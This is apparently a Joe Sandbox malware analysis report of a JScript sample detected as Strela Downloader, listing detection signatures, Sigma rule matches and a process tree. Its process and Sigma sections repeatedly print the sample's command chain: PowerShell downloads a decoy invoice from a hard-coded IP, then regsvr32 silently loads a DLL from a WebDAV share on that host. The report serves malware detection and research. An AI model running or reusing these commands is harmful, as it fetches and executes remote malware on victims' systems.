Edit tour

Windows Analysis Report
22742867259569153.js

Overview

General Information

Sample name:	22742867259569153.js
Analysis ID:	1588828
MD5:	03d06c1d94e0d6cee2a0ccbbe520c92c
SHA1:	eeca4b979b395a69ad47a7e7f6b45f36d4f7ba25
SHA256:	0104ffc2427d8ab81a6ffa3c5deb2833394e36b56a3656836d92d15d0f9208b2
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5792 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3040 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4312 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4564 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4268 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4032 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2244 --field-trial-handle=1624,i,4181762656406435566,11372842730605597265,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6680 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4648 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5060 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5792	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3040, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4312, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3040, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4312, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ProcessId: 5792, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ProcessId: 3040, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ProcessId: 3040, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ProcessId: 3040, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ProcessId: 3040, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ProcessId: 3040, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ProcessId: 5792, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3040, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4312, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4648, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5060, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4648, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5792, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll, ProcessId: 3040, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 22742867259569153.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 22742867259569153.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1444982511.000001647A529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1444932690.000001647A566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1540095394.000001E2BDDA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1540095394.000001E2BDDDC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1540095394.000001E2BDDFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1540095394.000001E2BDDA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0
Source: net.exe, 00000007.00000002.1540095394.000001E2BDDA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem3
Source: svchost.exe, 00000009.00000002.2746589784.000001D8E1800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1556243735.000001D8E16A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5792, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 22742867259569153.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@28/61@0/3

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3020:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gswbltpu.cmg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22742867259569153.js"
